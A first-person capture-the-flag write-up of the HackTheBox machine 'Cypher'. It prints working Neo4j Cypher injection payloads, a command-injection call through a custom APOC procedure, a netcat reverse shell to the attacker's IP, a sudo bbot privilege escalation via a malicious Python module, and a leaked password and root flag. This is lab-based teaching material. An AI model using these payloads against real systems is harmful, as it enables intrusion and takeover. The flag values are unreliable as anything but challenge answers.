![[IntroImageCypher.png]]
## Summary of Exploitation
Hey all, today I pwned Cypher from HacktheBox. Cypher was a medium rated machine that started with a webserver vulnerable to an error based neo4j cypher injection. After discovering an exposed custom neo4j procedure, were able to exploit via remote code execution using the cypher injection, it was really neat. Once a shell was established, vulnerable sudo privilege's of an open source OSINT tool led to the injection of python code spawning a root shell.
## Recon Phase
As always I begin with my tried and true nmap scan.
`sudo nmap -sC -sV -p- --min-rate 10000 10.129.167.82 -oA nmap-out`
```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 22:38 EST
Nmap scan report for 10.129.167.82
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.31 seconds
```
| Port | Protocol | Protocol Details |
| ---- | -------- | ---------------- |
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | http | nginx 1.24.0 |
Looks like an Ubuntu linux webserver. I'll add the domain "cypher.htb" to my hosts file.
![[etchosts_cypher.png]]
I visit the page and am presented with a fancy welcome page offering a free demo for what I assume is a sort of cyber graphing program.
![[webpage_cypher.png]]
At the top of the page there are a couple options, Home, About, and Login. I'll check out about.
![[Aboutus_cypher.png]]
I see, It's an attack surface management platform. I'm interested in this free demo, clicking it sends me to a login.
![[login_cypher.png]]
I don't see anywhere to register and inputting admin : admin or admin : password doesn't work. I inputted a single quote and received an interesting error rather than access denied.
![[login_error_cypher.png]]
This wasn't like any SQL error I had ever seen. I started up burpsuite to get a better view of the situation.
I'll start up the proxy and capture the login request and get a better look at the error.
![[SQL_error.png]]
I can clearly see the condition, I can also deduce that this is a Neo4j backend. I'm not an expert on the Cypher language. I looked up some authentication bypass methods, but they didn't prove to be successful. I did some more research and found [this article](https://pentester.land/blog/cypher-injection-cheatsheet/) that helped tremendously.
## Exploitation Phase (FAIL)
Since this was an error based injection, I assume my goal is to perform a blind inject and rely on timed based substring attacks to get the username and hash from the neo4j database. According to the article I can abuse the Data() function to leak data.
Armed with this knowledge, I can dump the u.name and h.value to the condition is expecting. I ended up with the following payload
```
{
"username":"' OR 1=1 RETURN Date(u.name) //",
"password":"asd"
}
```
I injected it into the POST request to the auth api endpoint and hit send.
![[gotUsername.png]]
great! now for password, I just need h.value. Just need to modify the payload.
```
{
"username":"' OR 1=1 RETURN Date(h.value) //",
"password":"asd"
}
```
![[user_hash_cypher.png]]
Now I save this hash to a file and try to crack it with hashcat.
`hashcat graphasm.hash --wordlist /usr/share/wordlists/rockyou.txt -m 100`
![[failed_hashcat_cypher.png]]
Unfortunately, there was no way to crack this hash. I think I just went down a rabbit hole.
## Back to Recon
I figured I must have missed something and ran feroxbuster to search for any hidden directories.
`feroxbuster -u http://cypher.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt`
![[feroxbuster_result.png]]
That is something I did not see! I'm going to download this file.
```
wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
```
I loaded up the jar file into jadx and took a look at the file in the hierarchy.
![[files_jadx_cypher.png]]
I can see that this is indeed a custom apoc extension, according to neo4j documentation.
"APOC (Awesome Procedures on Cypher) is an add-on library for Neo4j that provides hundreds of procedures and functions adding a lot of useful functionality."
So APOC provides specific functions, and this is a custom function. If I can find a vulnerability with this custom function, specifically getUrlStatusCode(), I can potentially obtain Remote Code Execution by executing this function. I'll take a look at the code.
![[vulnerable_line_of_code_cypher.png]]
And here we go, this custom procedure takes String input for a url and then connects to it to retrieve the http code. It does this using the `Process process = Runtime.getRuntime().exec(command);` which directly runs the command.
There is no input sanitization, So if I pass `'10.10.14.14:8081; id')` as the parameter, I can execute both commands. The best part is that I don't even have to do this blind thanks to the Date() feature!
After some light troubleshooting I came up with this injection.
```
or 1=1 CALL custom.getUrlStatusCode('10.10.14.14:8081; id') yield statusCode RETURN Date(statusCode) //
```
I'll inject it in the username parameter and hit send.
```
{"username" :"' or 1=1 CALL custom.getUrlStatusCode('10.10.14.14:8081; id') yield statusCode RETURN Date(statusCode) //","password":"asd"}
```
![[RCE_cypher.png]]
Nice! you love to see it. I'll replace id with my usual reverse shell choice.
`busybox nc 10.10.14.14 443 -e /bin/bash`
Set up my listener.
`sudo nc -lvnp 443`
And hit send.
![[Shell_cypher.gif]]
I would do my [shell trick](https://publish.obsidian.md/cn-0x-writeups/Fully+Functional+Shell+Trick+for+zsh), but I wont be here long.
I navigated to the /home directory and found a file that I miraculously had access to containing credentials.
```
cd /home
ls
graphasm
cd graphasm
ls
bbot_preset.yml
user.txt
cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
```
I took this password and checked for password resuse for ssh.
`ssh
[email protected]`
```
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 9 09:23:58 PM UTC 2025
System load: 0.0 Processes: 232
Usage of /: 68.5% of 8.50GB Users logged in: 0
Memory usage: 23% IPv4 address for eth0: 10.129.111.171
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Mar 9 21:23:59 2025 from 10.10.14.14
graphasm@cypher:~$
```
And I was in! I can get the user.txt file.
```
graphasm@cypher:~$ cat user.txt
c5308*************************
```
## Priv-Esc to root
Alright, now that I have a shell I will immediately check for sudo privs using `sudo -l`
```
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
```
Nice, graphasm can use bbot as sudo, I'll give it a run to see what it is.
![[bbot_cypher.png]]
It looks like its a large OSINT tool suite. When you run it with no parameters, it automatically presents the help section, showing the many many features.
![[bbot_help_cypher.png]]
Earlier I took a peek into the graphasm home directory and found an interesting file that appears to relate to the bbot functionality called `bbot_preset.yml` this file contained the ssh password for graphasm, I'll run the file in bbot to see what happens.
`sudo /usr/local/bin/bbot -p ./bbot_preset.yml`
![[bbot_preset_run_cypher.png]]
To my surprise, it really didn't do much, however, I noticed the WARN line "No scan module to load". I did some light research on bbot modules and discovered this.
![[bbot_doc_cypher.png]]
I can just create my own python module. I will give this a try, I noticed that the documentation says I need to place the module in a specific directory or a custom directory. Scrolling down in the documentation I came across this.
![[bbot_custom_location_cypher.png]]
Well I saw before I can write my own presets, so theoretically I can write my own malicious python module and load it from my custom path. This sounds like a good way forward.
I start by creating my module.
```
import os
os.system("/bin/bash")
```
I just python to run bash. Now I'll create my preset file.
```
module_dirs:
- /home/graphasm
```
Lastly, I just need to run the command and see if I get a root shell.
`sudo /usr/local/bin/bbot -p ./exploit.yml -m exploit --ignore-failed-deps`
![[root_shell_cypher.gif]]
Nice! All I need is that root flag!
```
root@cypher:/# cat /root/root.txt
f31840220ff08fcce60e8d122e349e95
```
Thanks for reading! I hope you learned something, I know I did! Happy Hacking!